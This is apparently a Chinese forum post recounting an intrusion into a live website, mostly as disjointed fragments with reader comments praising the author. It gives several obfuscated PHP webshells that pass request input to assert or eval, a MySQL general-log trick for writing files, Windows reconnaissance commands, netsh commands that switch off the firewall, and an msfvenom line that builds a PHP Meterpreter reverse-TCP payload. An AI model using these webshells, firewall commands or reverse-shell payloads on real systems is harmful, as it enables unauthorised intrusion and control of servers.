注:在此之前,已获得了网站的根目录:D:/xxxxx/xxxx/htdocs
去”变量”界面找到这两个函数:
general log; general log file
<?php
$a=get_defined_functions(); // 返回php所有自定义函数
@$a[internal][841]($_REQUEST[1]); //assert($_REQUEST[1])
?>
<?php
class A{
var $test = "demo";
var $fun = "assert";
function __destruct(){
call_user_func($this->fun,$this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);
?>
<?php $p = 'pxhxpxixnxfxo';$p1 = explode('x', $p);$p2 = $p1[0] . $p1[1] . $p1[2] . $p1[3]. $p1[4]. $p1[5]. $p1[6]. '()';var_dump($p2);?>
这种方法到底能不能绕过,我也不太清楚,因为镜姐刚给我的时候我没改好,后来用下面那种方法拿的webshell,又回来慢慢改的,再想验证时 对方已经关闭了load_file函数。
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#",$poc);
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST[8])
?>
<?php class user{function ddd($name){eval($this->name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>
推荐这种方法:
wmic qfe get caption,description,hotfixid,installedon
以为有时候在低权限时,我们无法得到systeminfo回显结果的
可以三管齐下:
tasklist
wmic process list brief
tasklist /V
netsh firewall show config
netsh advfirewall set allprofiles state off //2003之后版本
netsh firewall set opmode disable //2003及之前
分不清楚就都执行一遍
netstat -ano
**注:后来我将anjian.zip重命名位1233.zip了**
“系统无法执行指定的程序“,这是什么鬼?问了下我的”度娘”,原来是服务系统缺少一些插件,一共缺少三个。
msfvenom -p php/meterpreter/reverse_tcp LHOST=暗箭 LPORT=最帅 -f raw -o /root/Desktop/x.php
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 100.00 | 0 | 2020-09-03 21:09:58 | 投稿满 10 赞奖励 |
奖励系统 | 50.00 | 0 | 2020-09-03 21:09:22 | 投稿满 5 赞奖励 |
Track-聂风 | 80.00 | 0 | 2020-09-02 16:04:18 | 等待你的新文章 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
张小翔
发表于 2020-9-3
这么强 天天拿shell
评论列表
加载数据中...
urfyyyy
发表于 2020-9-5
很强
评论列表
加载数据中...